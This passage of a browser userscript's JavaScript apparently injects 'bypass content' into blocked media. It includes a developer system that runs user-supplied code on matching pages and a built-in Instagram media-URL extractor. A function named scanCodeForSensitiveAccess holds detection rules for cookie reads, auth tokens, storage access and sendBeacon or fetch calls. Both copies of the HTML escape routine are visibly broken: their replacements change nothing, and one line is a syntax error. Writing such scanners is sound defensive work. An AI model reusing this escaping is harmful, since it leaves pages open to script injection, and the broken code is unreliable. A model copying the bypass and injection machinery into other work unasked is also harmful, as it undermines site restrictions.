const warning = document.createElement('div');
warning.style.cssText = `
background: rgba(239, 68, 68, 0.1);
border: 2px solid #ef4444;
border-radius: 8px;
padding: 16px;
display: flex;
gap: 12px;
align-items: start;
`;
warning.innerHTML = `
<i class=\"fas fa-exclamation-triangle\" style=\"color: #ef4444; font-size: 24px; flex-shrink: 0;\"></i>
<div>
<div style=\"color: #ef4444; font-weight: 700; font-size: 14px; margin-bottom: 4px;\"><i class=\"fas fa-triangle-exclamation\"></i> Advanced Settings - Use with Caution</div>
<div style=\"color: #fca5a5; font-size: 12px; line-height: 1.5;\">
Modifying these HTML selectors can break the entire script functionality. Only change if you know what you're doing.
Always use the Reset button to restore defaults if something breaks.
</div>
</div>
`;
devsContainer.appendChild(warning);
// Info section
const info = document.createElement('div');
info.style.cssText = `
background: rgba(99, 102, 241, 0.1);
border: 1px solid rgba(99, 102, 241, 0.3);
border-radius: 8px;
padding: 12px;
font-size: 12px;
color: ${settings.theme === 'dark' ? '#cbd5e1' : '#475569'};
line-height: 1.6;
`;
info.innerHTML = `
<strong style=\"color: #6366f1;\"><i class=\"fas fa-info-circle\"></i> What are these selectors?</strong><br>
These are CSS selectors used to find and inject bypass content into blocked media on the page.
If the website's HTML structure changes, you may need to update these selectors.
`;
devsContainer.appendChild(info);
// Selectors list
const currentSelectors = getSelectors();
const selectorEntries = Object.entries(defaultSelectors);
selectorEntries.forEach(([key, defaultValue]) => {
const currentValue = currentSelectors[key];
const isModified = currentValue !== defaultValue;
const selectorCard = document.createElement('div');
selectorCard.style.cssText = `
background: ${settings.theme === 'dark' ? 'rgba(15, 23, 42, 0.6)' : 'rgba(248, 250, 252, 1)'};
border: 1px solid ${isModified ? '#6366f1' : (settings.theme === 'dark' ? '#475569' : '#cbd5e1')};
border-radius: 8px;
padding: 12px;
display: flex;
flex-direction: column;
gap: 8px;
`;
const header = document.createElement('div');
header.style.cssText = 'display: flex; justify-content: space-between; align-items: center;';
const label = document.createElement('div');
label.style.cssText = `
font-size: 13px;
font-weight: 600;
color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
`;
label.innerHTML = `<i class=\"fas fa-code\"></i> ${key}`;
if (isModified) {
const modBadge = document.createElement('span');
modBadge.style.cssText = 'margin-left: 8px; background: #6366f1; color: white; padding: 2px 6px; border-radius: 4px; font-size: 10px;';
modBadge.textContent = 'MODIFIED';
label.appendChild(modBadge);
}
const resetBtn = document.createElement('button');
resetBtn.style.cssText = `
background: transparent;
border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#cbd5e1'};
color: ${settings.theme === 'dark' ? '#cbd5e1' : '#475569'};
padding: 4px 8px;
border-radius: 4px;
cursor: pointer;
font-size: 11px;
transition: all 0.3s;
`;
resetBtn.innerHTML = '<i class=\"fas fa-undo\"></i> Reset';
resetBtn.onclick = () => {
resetSelector(key);
input.value = defaultValue;
input.style.borderColor = settings.theme === 'dark' ? '#475569' : '#cbd5e1';
selectorCard.style.borderColor = settings.theme === 'dark' ? '#475569' : '#cbd5e1';
if (modBadge) modBadge.remove();
showToast('Selector reset to default', 'success');
};
header.appendChild(label);
header.appendChild(resetBtn);
const input = document.createElement('input');
input.type = 'text';
input.value = currentValue;
input.style.cssText = `
width: 100%;
padding: 8px;
background: ${settings.theme === 'dark' ? '#0f172a' : '#ffffff'};
border: 1px solid ${isModified ? '#6366f1' : (settings.theme === 'dark' ? '#475569' : '#cbd5e1')};
border-radius: 6px;
color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
font-size: 12px;
font-family: 'Courier New', monospace;
outline: none;
`;
input.onfocus = () => input.style.borderColor = '#6366f1';
input.onblur = () => {
const isNowModified = input.value !== defaultValue;
input.style.borderColor = isNowModified ? '#6366f1' : (settings.theme === 'dark' ? '#475569' : '#cbd5e1');
};
input.onchange = () => {
const newSelectors = { ...settings.customSelectors };
if (input.value === defaultValue) {
delete newSelectors[key];
} else {
newSelectors[key] = input.value;
}
saveCustomSelectors(newSelectors);
showToast('Selector updated', 'success');
// Update UI to show modified state
setTimeout(() => updateUI(), 100);
};
const defaultInfo = document.createElement('div');
defaultInfo.style.cssText = `
font-size: 10px;
color: ${settings.theme === 'dark' ? '#94a3b8' : '#64748b'};
font-family: 'Courier New', monospace;
padding: 6px;
background: ${settings.theme === 'dark' ? 'rgba(0, 0, 0, 0.3)' : 'rgba(0, 0, 0, 0.05)'};
border-radius: 4px;
`;
defaultInfo.innerHTML = `<strong>Default:</strong> ${defaultValue}`;
selectorCard.appendChild(header);
selectorCard.appendChild(input);
selectorCard.appendChild(defaultInfo);
devsContainer.appendChild(selectorCard);
});
// Reset all button
const resetAllBtn = document.createElement('button');
resetAllBtn.style.cssText = `
width: 100%;
padding: 12px;
background: linear-gradient(135deg, #ef4444 0%, #dc2626 100%);
border: none;
border-radius: 8px;
color: white;
cursor: pointer;
font-size: 14px;
font-weight: 600;
margin-top: 8px;
transition: all 0.3s;
`;
resetAllBtn.innerHTML = '<i class=\"fas fa-redo\"></i> Reset All Selectors to Defaults';
resetAllBtn.onclick = () => {
if (confirm('Are you sure you want to reset ALL selectors to their default values? This will overwrite any custom changes.')) {
settings.customSelectors = {};
saveSettings();
showToast('All selectors reset to defaults', 'success');
updateUI();
}
};
resetAllBtn.onmouseover = () => resetAllBtn.style.transform = 'translateY(-2px)';
resetAllBtn.onmouseout = () => resetAllBtn.style.transform = 'translateY(0)';
devsContainer.appendChild(resetAllBtn);
return devsContainer;
}
function makeId(prefix = 'id') {
return `${prefix}_${Date.now().toString(36)}_${Math.random().toString(16).slice(2)}`;
}
function loadDevInjectTasks() {
try {
const raw = localStorage.getItem(DEV_INJECT_TASKS_KEY);
if (!raw) return [];
const parsed = JSON.parse(raw);
if (!Array.isArray(parsed)) return [];
return parsed.map(normalizeDevInjectTask).filter(Boolean);
} catch {
return [];
}
}
function saveDevInjectTasks(tasks) {
const safe = (tasks || []).map(normalizeDevInjectTask).filter(Boolean);
localStorage.setItem(DEV_INJECT_TASKS_KEY, JSON.stringify(safe));
}
function normalizeDevInjectTask(task) {
if (!task || typeof task !== 'object') return null;
const now = new Date().toISOString();
const guessBuiltinId = (t) => {
try {
const name = String(t?.name || '').toLowerCase();
const domains = Array.isArray(t?.domains) ? t.domains.map(d => String(d || '').toLowerCase()) : [];
const include = Array.isArray(t?.include) ? t.include.map(s => String(s || '').toLowerCase()) : [];
const looksInstagram = name.includes('instagram') || domains.some(d => d.includes('instagram.com'));
const looksExtractor = name.includes('extract') || name.includes('thumbnail') || name.includes('media');
const looksPost = include.some(p => p.includes('instagram.com/p/') || p.includes('instagram.com/reel/') || p.includes('instagram.com/reels/'));
if (looksInstagram && (looksExtractor || looksPost)) return 'instagram-extractor';
} catch {
// no-op
}
return null;
};
const out = {
id: typeof task.id === 'string' && task.id ? task.id : makeId('inject'),
name: typeof task.name === 'string' && task.name.trim() ? task.name.trim() : 'Untitled Script',
enabled: typeof task.enabled === 'boolean' ? task.enabled : false,
createdAt: typeof task.createdAt === 'string' ? task.createdAt : now,
updatedAt: typeof task.updatedAt === 'string' ? task.updatedAt : now,
runAt: ['domcontentloaded', 'idle'].includes(task.runAt) ? task.runAt : 'idle',
domains: Array.isArray(task.domains) && task.domains.length ? task.domains : [location.hostname],
matchMode: ['all', 'rules'].includes(task.matchMode) ? task.matchMode : 'all',
include: Array.isArray(task.include) ? task.include.filter(Boolean).map(String) : [],
exclude: Array.isArray(task.exclude) ? task.exclude.filter(Boolean).map(String) : [],
builtinId: typeof task.builtinId === 'string' && task.builtinId.trim() ? task.builtinId.trim() : guessBuiltinId(task),
code: {
js: typeof task.code?.js === 'string' ? task.code.js : '',
css: typeof task.code?.css === 'string' ? task.code.css : '',
html: typeof task.code?.html === 'string' ? task.code.html : ''
},
lastRunAt: typeof task.lastRunAt === 'string' ? task.lastRunAt : null,
lastErrorAt: typeof task.lastErrorAt === 'string' ? task.lastErrorAt : null,
lastError: typeof task.lastError === 'string' ? task.lastError : null
};
return out;
}
function runBuiltinInjectTask(builtinId, ctx) {
const id = String(builtinId || '').trim();
if (!id) return;
if (id === 'instagram-extractor') {
const STATE_KEY = '__bypassIgExtractorBuiltin';
if (window[STATE_KEY]?.installed) return;
window[STATE_KEY] = { installed: true, lastUrl: location.href };
const pickMeta = (prop) => document.querySelector('meta[property="' + prop + '"]')?.content || '';
const pickName = (name) => document.querySelector('meta[name="' + name + '"]')?.content || '';
const pickCanonical = () => document.querySelector('link[rel="canonical"]')?.href || location.href;
const tryJsonLd = () => {
try {
const scripts = Array.from(document.querySelectorAll('script[type="application/ld+json"]'));
for (const s of scripts) {
const txt = (s.textContent || '').trim();
if (!txt) continue;
const j = JSON.parse(txt);
const list = Array.isArray(j) ? j : [j];
for (const entry of list) {
if (!entry || typeof entry !== 'object') continue;
const contentUrl = entry.contentUrl || entry.embedUrl || '';
const thumbnailUrl = entry.thumbnailUrl || '';
const image = Array.isArray(entry.image) ? entry.image[0] : entry.image;
if (contentUrl || thumbnailUrl || image) {
return {
contentUrl: String(contentUrl || ''),
thumbnailUrl: String(thumbnailUrl || image || '')
};
}
}
}
} catch {
// ignore
}
return { contentUrl: '', thumbnailUrl: '' };
};
const extract = () => {
const ogImage = pickMeta('og:image');
const ogVideo = pickMeta('og:video') || pickMeta('og:video:url');
const ogType = pickMeta('og:type');
const title = pickMeta('og:title') || pickName('description') || '';
const canonical = pickCanonical();
const ld = tryJsonLd();
const bestVideo = ogVideo || ld.contentUrl;
const bestImage = ogImage || ld.thumbnailUrl;
return { ogType, title, canonical, bestVideo, bestImage };
};
const closePanel = () => {
const p = document.getElementById('bypass-ig-extract-panel');
if (p) p.remove();
};
const showPanel = async () => {
closePanel();
const data = extract();
const hasAny = !!(data.bestVideo || data.bestImage);
if (!hasAny) {
ctx?.toast?.('No OG media found on this page yet. Try again after it loads.', 'warning');
return;
}
const best = data.bestVideo || data.bestImage;
try {
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(best);
ctx?.toast?.('Copied media URL to clipboard', 'success');
} catch {
ctx?.toast?.('Could not copy automatically (clipboard blocked).', 'warning');
}
const panel = document.createElement('div');
panel.id = 'bypass-ig-extract-panel';
const esc = (v) => String(v || '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
const parts = [];
parts.push('<div style="display:flex; align-items:center; justify-content:space-between; gap:10px;">');
parts.push('<div style="font-weight:900; font-size:13px;">Instagram Extract</div>');
parts.push('<button class="bypass-ig-action" data-close style="background:rgba(148,163,184,0.12); border-color:rgba(148,163,184,0.25);">Close</button>');
parts.push('</div>');
parts.push('<div class="bypass-ig-row"><strong>Page:</strong> <a href="' + esc(data.canonical) + '" target="_blank" rel="noopener noreferrer">' + esc(data.canonical) + '</a></div>');
if (data.bestVideo) {
parts.push('<div class="bypass-ig-row"><strong>Video:</strong> <a href="' + esc(data.bestVideo) + '" target="_blank" rel="noopener noreferrer">' + esc(data.bestVideo) + '</a></div>');
}
if (data.bestImage) {
parts.push('<div class="bypass-ig-row"><strong>Image:</strong> <a href="' + esc(data.bestImage) + '" target="_blank" rel="noopener noreferrer">' + esc(data.bestImage) + '</a></div>');
}
parts.push('<div class="bypass-ig-actions">');
parts.push('<button class="bypass-ig-action" data-copy>Copy best URL</button>');
parts.push('<button class="bypass-ig-action" data-open>Open best URL</button>');
parts.push('</div>');
parts.push('<div style="margin-top:10px; font-size:11px; opacity:0.8;">Tip: works best on /p/ and /reel/ pages. If Instagram hasn\'t finished loading, click again.</div>');
panel.innerHTML = parts.join('');
panel.querySelector('[data-close]').onclick = closePanel;
panel.querySelector('[data-open]').onclick = () => window.open(best, '_blank');
panel.querySelector('[data-copy]').onclick = async () => {
try {
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(best);
ctx?.toast?.('Copied best URL', 'success');
} catch {
ctx?.toast?.('Copy failed (clipboard blocked).', 'error');
}
};
document.body.appendChild(panel);
};
const ensureButton = () => {
if (document.getElementById('bypass-ig-extract-btn')) return;
const btn = document.createElement('button');
btn.id = 'bypass-ig-extract-btn';
btn.type = 'button';
btn.innerHTML = '<span style="font-size:14px;">⤓</span> Extract';
btn.onclick = showPanel;
document.body.appendChild(btn);
};
ensureButton();
// Handle SPA navigation by re-installing button when URL changes.
setInterval(() => {
try {
if (window[STATE_KEY].lastUrl !== location.href) {
window[STATE_KEY].lastUrl = location.href;
ensureButton();
closePanel();
}
} catch {
// ignore
}
}, 900);
// Occasionally re-ensure button exists
setInterval(() => {
try { ensureButton(); } catch { /* ignore */ }
}, 3000);
return;
}
}
function updateDevInjectTask(taskId, patch) {
const tasks = loadDevInjectTasks();
const idx = tasks.findIndex(t => t.id === taskId);
if (idx === -1) return false;
tasks[idx] = normalizeDevInjectTask({ ...tasks[idx], ...patch, updatedAt: new Date().toISOString() });
saveDevInjectTasks(tasks);
return true;
}
function deleteDevInjectTask(taskId) {
const tasks = loadDevInjectTasks();
const next = tasks.filter(t => t.id !== taskId);
saveDevInjectTasks(next);
}
function wildcardToRegex(pattern) {
// Very small wildcard matcher: '*' => '.*'
// Escape all other regex chars.
const esc = String(pattern)
.replace(/[.+^${}()|[\]\\]/g, '\\$&')
.replace(/\*/g, '.*');
return new RegExp(`^${esc}$`, 'i');
}
function urlMatchesPatterns(url, patterns) {
const list = (patterns || []).map(p => String(p || '').trim()).filter(Boolean);
if (!list.length) return false;
return list.some(p => {
try {
return wildcardToRegex(p).test(url);
} catch {
return false;
}
});
}
function doesInjectTaskMatchUrl(task, url = location.href) {
const t = normalizeDevInjectTask(task);
if (!t) return false;
const host = location.hostname;
const domains = (t.domains || []).map(String);
const domainOk = domains.includes('*') || domains.includes(host);
if (!domainOk) return false;
if (t.matchMode === 'all') return true;
const includeOk = t.include.length ? urlMatchesPatterns(url, t.include) : false;
const excludeHit = t.exclude.length ? urlMatchesPatterns(url, t.exclude) : false;
return includeOk && !excludeHit;
}
function ensureInjectDomAnchors(taskId) {
const cssId = `bypass-inject-style-${taskId}`;
const htmlId = `bypass-inject-html-${taskId}`;
let styleEl = document.getElementById(cssId);
if (!styleEl) {
styleEl = document.createElement('style');
styleEl.id = cssId;
styleEl.setAttribute('data-bypass-inject', taskId);
document.head.appendChild(styleEl);
}
let htmlEl = document.getElementById(htmlId);
if (!htmlEl) {
htmlEl = document.createElement('div');
htmlEl.id = htmlId;
htmlEl.setAttribute('data-bypass-inject', taskId);
htmlEl.style.display = 'contents';
document.body.appendChild(htmlEl);
}
return { styleEl, htmlEl };
}
function executeInjectTask(task, trigger = 'auto') {
const t = normalizeDevInjectTask(task);
if (!t?.enabled) return;
if (!doesInjectTaskMatchUrl(t, location.href)) return;
const ctx = {
task: { id: t.id, name: t.name },
trigger,
log: (msg, details = null, level = 'info') => devLog('inject', String(msg || ''), details, level, 'developer'),
toast: (msg, type = 'info') => showToast(String(msg || ''), type),
$: (sel, root = document) => root.querySelector(sel),
$$: (sel, root = document) => Array.from(root.querySelectorAll(sel))
};
try {
const { styleEl, htmlEl } = ensureInjectDomAnchors(t.id);
styleEl.textContent = t.code.css || '';
htmlEl.innerHTML = t.code.html || '';
} catch (err) {
updateDevInjectTask(t.id, { lastError: String(err?.message || err), lastErrorAt: new Date().toISOString() });
devLog('inject', `Failed applying HTML/CSS for "${t.name}"`, { error: String(err?.stack || err) }, 'error', 'developer');
}
// Built-in tasks run without dynamic evaluation (works on strict CSP sites like Instagram).
if (t.builtinId) {
try {
runBuiltinInjectTask(t.builtinId, ctx);
} catch (err) {
updateDevInjectTask(t.id, { lastError: String(err?.message || err), lastErrorAt: new Date().toISOString() });
devLog('inject', `Built-in inject failed in "${t.name}"`, { error: String(err?.stack || err), builtinId: t.builtinId }, 'error', 'developer');
}
updateDevInjectTask(t.id, { lastRunAt: new Date().toISOString(), lastError: null });
return;
}
if (t.code.js && t.code.js.trim()) {
try {
// eslint-disable-next-line no-new-func
const fn = new Function('ctx', t.code.js);
fn(ctx);
} catch (err) {
updateDevInjectTask(t.id, { lastError: String(err?.message || err), lastErrorAt: new Date().toISOString() });
devLog('inject', `Execution error in "${t.name}"`, { error: String(err?.stack || err) }, 'error', 'developer');
}
}
updateDevInjectTask(t.id, { lastRunAt: new Date().toISOString(), lastError: null });
}
function runDeveloperInjectTasksOnThisPage(trigger = 'page', runAtFilter = null) {
if (!settings.developerModeEnabled || !settings.developerEnableInjectSystem) return;
const tasks = loadDevInjectTasks().filter(t => t.enabled);
for (const t of tasks) {
if (runAtFilter && t.runAt !== runAtFilter) continue;
try {
executeInjectTask(t, trigger);
} catch (err) {
devLog('inject', 'Unexpected inject-system failure', { error: String(err?.stack || err), taskId: t?.id }, 'error', 'developer');
}
}
}
function startDeveloperInjectSystem() {
if (!settings.developerModeEnabled || !settings.developerEnableInjectSystem) return;
const runDom = () => runDeveloperInjectTasksOnThisPage('auto:domcontentloaded', 'domcontentloaded');
const runIdle = () => runDeveloperInjectTasksOnThisPage('auto:idle', 'idle');
try {
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', runDom, { once: true });
} else {
runDom();
}
} catch {
// no-op
}
const scheduleIdle = () => {
setTimeout(() => {
try { runIdle(); } catch (err) {
devLog('inject', 'Idle inject scheduler failed', { error: String(err?.stack || err) }, 'error', 'developer');
}
}, 1200);
};
try {
if (document.readyState === 'complete') {
scheduleIdle();
} else {
window.addEventListener('load', scheduleIdle, { once: true });
}
} catch {
// no-op
}
}
function scanCodeForSensitiveAccess(code) {
const text = String(code || '');
const hits = [];
const rules = [
{ id: 'cookie', label: 'Reads cookies (document.cookie / cookieStore)', re: /document\.cookie|cookieStore/i },
{ id: 'token', label: 'Mentions token/auth', re: /ta_token|authorization\s*:|bearer\s+|token_prod|freeBypass|userToken/i },
{ id: 'storage', label: 'Accesses browser storage', re: /localStorage|sessionStorage|indexedDB/i },
{ id: 'network', label: 'Makes network requests (fetch/XHR/sendBeacon)', re: /\bfetch\b|XMLHttpRequest|sendBeacon|WebSocket/i },
{ id: 'eval', label: 'Dynamic code execution (eval/new Function)', re: /\beval\b|new\s+Function\b/i }
];
for (const r of rules) {
if (r.re.test(text)) hits.push(r.label);
}
return Array.from(new Set(hits));
}
function showTextInputDialog({ title, description, placeholder, confirmLabel }, onDone) {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `position:fixed; inset:0; z-index:10000003; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(0,0,0,0.75))' : 'rgba(0,0,0,0.75)'}; backdrop-filter: blur(8px); display:flex; align-items:center; justify-content:center;`;
const dialog = document.createElement('div');
dialog.style.cssText = `width:92%; max-width:520px; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:16px; padding:18px; color:${colors.text}; box-shadow:0 25px 80px rgba(0,0,0,0.7);`;
dialog.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:12px; margin-bottom:10px;">
<div style="font-weight:800; font-size:15px;"><i class="fas fa-pen"></i> ${escapeHtml(title || 'Input')}</div>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
</div>
<div style="font-size:12px; color:${colors.textSecondary}; line-height:1.55; margin-bottom:12px;">${escapeHtml(description || '')}</div>
<input type="text" data-input placeholder="${escapeHtml(placeholder || '')}" style="width:100%; padding:10px 12px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; outline:none; font-size:13px;" />
<div style="display:flex; gap:10px; justify-content:flex-end; margin-top:14px;">
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-cancel>Cancel</button>
<button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px;" data-ok>${escapeHtml(confirmLabel || 'OK')}</button>
</div>
`;
let ruleMenuResizeHandler = null;
const close = () => {
try {
if (ruleMenuResizeHandler) window.removeEventListener('resize', ruleMenuResizeHandler);
} catch {
// no-op
}
overlay.remove();
};
dialog.querySelector('[data-x]').onclick = close;
dialog.querySelector('[data-cancel]').onclick = close;
const input = dialog.querySelector('[data-input]');
dialog.querySelector('[data-ok]').onclick = () => {
const value = String(input.value || '').trim();
close();
if (onDone) onDone(value);
};
input.addEventListener('keydown', (e) => {
if (e.key === 'Enter') dialog.querySelector('[data-ok]').click();
if (e.key === 'Escape') close();
});
overlay.appendChild(dialog);
overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
document.body.appendChild(overlay);
setTimeout(() => input.focus(), 50);
}
function showCodeEditorDialog({ title, description, initialValue = '', confirmLabel = 'Save', downloadFilename = 'config.json', validate }, onDone) {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `position:fixed; inset:0; z-index:10000003; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(0,0,0,0.75))' : 'rgba(0,0,0,0.75)'}; backdrop-filter: blur(8px); display:flex; align-items:center; justify-content:center; padding:18px;`;
const dialog = document.createElement('div');
dialog.style.cssText = `width:min(940px, 96vw); max-height:92vh; display:flex; flex-direction:column; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:16px; padding:18px; color:${colors.text}; box-shadow:0 25px 80px rgba(0,0,0,0.7);`;
dialog.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:12px; margin-bottom:10px;">
<div style="font-weight:800; font-size:15px;"><i class="fas fa-code"></i> ${escapeHtml(title || 'Code editor')}</div>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
</div>
<div style="font-size:12px; color:${colors.textSecondary}; line-height:1.55; margin-bottom:12px;">${escapeHtml(description || '')}</div>
<textarea data-input spellcheck="false" style="width:100%; min-height:360px; flex:1; resize:vertical; padding:12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; outline:none; font-size:12px; line-height:1.55; font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', 'Courier New', monospace;"></textarea>
<div data-error style="display:none; margin-top:10px; padding:10px 12px; border-radius:10px; border:1px solid rgba(239,68,68,0.35); background:rgba(127,29,29,0.22); color:#fecaca; font-size:12px; white-space:pre-wrap;"></div>
<div style="display:flex; gap:10px; justify-content:space-between; align-items:center; margin-top:14px; flex-wrap:wrap;">
<div style="font-size:11px; color:${colors.textSecondary};">Edit as raw JSON/code, then save back into settings.</div>
<div style="display:flex; gap:10px; flex-wrap:wrap;">
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-download><i class="fas fa-download"></i> Download</button>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-cancel>Cancel</button>
<button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px;" data-ok>${escapeHtml(confirmLabel)}</button>
</div>
</div>
`;
const close = () => overlay.remove();
const textarea = dialog.querySelector('[data-input]');
const errorBox = dialog.querySelector('[data-error]');
textarea.value = String(initialValue || '');
const showError = (message) => {
errorBox.style.display = message ? 'block' : 'none';
errorBox.textContent = message || '';
};
dialog.querySelector('[data-x]').onclick = close;
dialog.querySelector('[data-cancel]').onclick = close;
dialog.querySelector('[data-download]').onclick = () => {
downloadTextFile(downloadFilename, textarea.value, 'application/json');
showToast('Downloaded editor contents', 'success');
};
dialog.querySelector('[data-ok]').onclick = () => {
try {
const nextValue = String(textarea.value || '');
const validated = typeof validate === 'function' ? validate(nextValue) : nextValue;
close();
if (onDone) onDone(validated);
} catch (err) {
showError(String(err?.message || err || 'Validation failed'));
}
};
textarea.addEventListener('keydown', (e) => {
if ((e.ctrlKey || e.metaKey) && e.key.toLowerCase() === 's') {
e.preventDefault();
dialog.querySelector('[data-ok]').click();
}
if (e.key === 'Escape') close();
});
overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
overlay.appendChild(dialog);
document.body.appendChild(overlay);
setTimeout(() => textarea.focus(), 50);
}
function downloadTextFile(filename, text, mime = 'text/plain') {
const blob = new Blob([String(text || '')], { type: mime });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = sanitizeFilename(filename || 'download.txt');
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
}
function downloadJsonFile(filename, obj) {
downloadTextFile(filename, JSON.stringify(obj, null, 2), 'application/json');
}
function getDevInjectTemplates() {
return [
{
id: 'instagram-thumbnail-extractor',
name: 'Instagram • Thumbnail/Media Extractor',
description: 'Adds a floating button on Instagram posts/reels that extracts OG media URLs (image/video), copies the best URL to clipboard, and shows quick actions.',
defaults: {
enabled: false,
runAt: 'idle',
builtinId: 'instagram-extractor',
domains: ['www.instagram.com', 'instagram.com'],
matchMode: 'rules',
include: [
'https://www.instagram.com/p/*',
'https://www.instagram.com/reel/*',
'https://www.instagram.com/reels/*',
'https://instagram.com/p/*',
'https://instagram.com/reel/*',
'https://instagram.com/reels/*'
],
exclude: ['*instagram.com/accounts/*', '*instagram.com/direct/*', '*instagram.com/explore/*'],
code: {
css: `
#bypass-ig-extract-btn {
position: fixed;
right: 16px;
bottom: 16px;
z-index: 2147483647;
background: linear-gradient(135deg, #6366f1 0%, #4f46e5 100%);
color: white;
border: none;
border-radius: 999px;
padding: 10px 12px;
font-weight: 900;
font-size: 12px;
box-shadow: 0 14px 40px rgba(0,0,0,0.35);
cursor: pointer;
display: flex;
align-items: center;
gap: 8px;
opacity: 0.92;
}
#bypass-ig-extract-btn:hover { transform: translateY(-2px); opacity: 1; }
#bypass-ig-extract-btn:active { transform: translateY(0); }
#bypass-ig-extract-panel {
position: fixed;
right: 16px;
bottom: 62px;
width: min(420px, calc(100vw - 32px));
z-index: 2147483647;
background: rgba(2, 6, 23, 0.92);
border: 1px solid rgba(148, 163, 184, 0.22);
border-radius: 14px;
padding: 12px;
color: #e2e8f0;
box-shadow: 0 20px 80px rgba(0,0,0,0.6);
backdrop-filter: blur(10px);
font-family: ui-sans-serif, system-ui, -apple-system, Segoe UI, Roboto, Arial;
}
#bypass-ig-extract-panel a { color: #93c5fd; text-decoration: none; word-break: break-all; }
#bypass-ig-extract-panel a:hover { text-decoration: underline; }
.bypass-ig-row { margin-top: 8px; font-size: 12px; line-height: 1.5; }
.bypass-ig-actions { display:flex; gap:8px; flex-wrap:wrap; margin-top: 10px; }
.bypass-ig-action {
background: rgba(99, 102, 241, 0.18);
border: 1px solid rgba(99, 102, 241, 0.35);
color: #e2e8f0;
padding: 7px 10px;
border-radius: 10px;
font-size: 12px;
cursor: pointer;
font-weight: 800;
}
.bypass-ig-action:hover { background: rgba(99, 102, 241, 0.28); }
`.trim(),
html: '',
js: `
(function(){
const STATE_KEY = '__bypassIgExtractor';
if (window[STATE_KEY]?.installed) return;
window[STATE_KEY] = { installed: true, lastUrl: location.href };
const pickMeta = (prop) => document.querySelector('meta[property="' + prop + '"]')?.content || '';
const pickName = (name) => document.querySelector('meta[name="' + name + '"]')?.content || '';
const pickCanonical = () => document.querySelector('link[rel="canonical"]')?.href || location.href;
const tryJsonLd = () => {
try {
const scripts = Array.from(document.querySelectorAll('script[type="application/ld+json"]'));
for (const s of scripts) {
const txt = (s.textContent || '').trim();
if (!txt) continue;
const j = JSON.parse(txt);
const list = Array.isArray(j) ? j : [j];
for (const entry of list) {
if (!entry || typeof entry !== 'object') continue;
const contentUrl = entry.contentUrl || entry.embedUrl || '';
const thumbnailUrl = entry.thumbnailUrl || '';
const image = Array.isArray(entry.image) ? entry.image[0] : entry.image;
return {
contentUrl: String(contentUrl || ''),
thumbnailUrl: String(thumbnailUrl || image || '')
};
}
}
} catch {}
return { contentUrl: '', thumbnailUrl: '' };
};
const extract = () => {
const ogImage = pickMeta('og:image');
const ogVideo = pickMeta('og:video') || pickMeta('og:video:url');
const ogType = pickMeta('og:type');
const title = pickMeta('og:title') || pickName('description') || '';
const canonical = pickCanonical();
const ld = tryJsonLd();
const bestVideo = ogVideo || ld.contentUrl;
const bestImage = ogImage || ld.thumbnailUrl;
return { ogType, title, canonical, bestVideo, bestImage };
};
const closePanel = () => {
const p = document.getElementById('bypass-ig-extract-panel');
if (p) p.remove();
};
const showPanel = async () => {
closePanel();
const data = extract();
const hasAny = !!(data.bestVideo || data.bestImage);
if (!hasAny) {
ctx.toast('No OG media found on this page yet. Try again after it loads.', 'warning');
return;
}
const best = data.bestVideo || data.bestImage;
try {
if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(best);
ctx.toast('Copied media URL to clipboard', 'success');
} catch {
ctx.toast('Could not copy automatically (clipboard blocked).', 'warning');
}
const panel = document.createElement('div');
panel.id = 'bypass-ig-extract-panel';
const esc = (v) => String(v || '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
const parts = [];
parts.push('<div style="display:flex; align-items:center; justify-content:space-between; gap:10px;">');
parts.push('<div style="font-weight:900; font-size:13px;">Instagram Extract</div>');
parts.push('<button class="bypass-ig-action" data-close style="background:rgba(148,163,184,0.12); border-color:rgba(148,163,184,0.25);">Close</button>');
parts.push('</div>');
parts.push('<div class="bypass-ig-row"><strong>Page:</strong> <a href="' + esc(data.canonical) + '" target="_blank" rel="noopener noreferrer">' + esc(data.canonical) + '</a></div>');
if (data.bestVideo) {
parts.push('<div class="bypass-ig-row"><strong>Video:</strong> <a href="' + esc(data.bestVideo) + '" target="_blank" rel="noopener noreferrer">' + esc(data.bestVideo) + '</a></div>');
}
if (data.bestImage) {
parts.push('<div class="bypass-ig-row"><strong>Image:</strong> <a href="' + esc(data.bestImage) + '" target="_blank" rel="noopener noreferrer">' + esc(data.bestImage) + '</a></div>');
}
parts.push('<div class="bypass-ig-actions">');
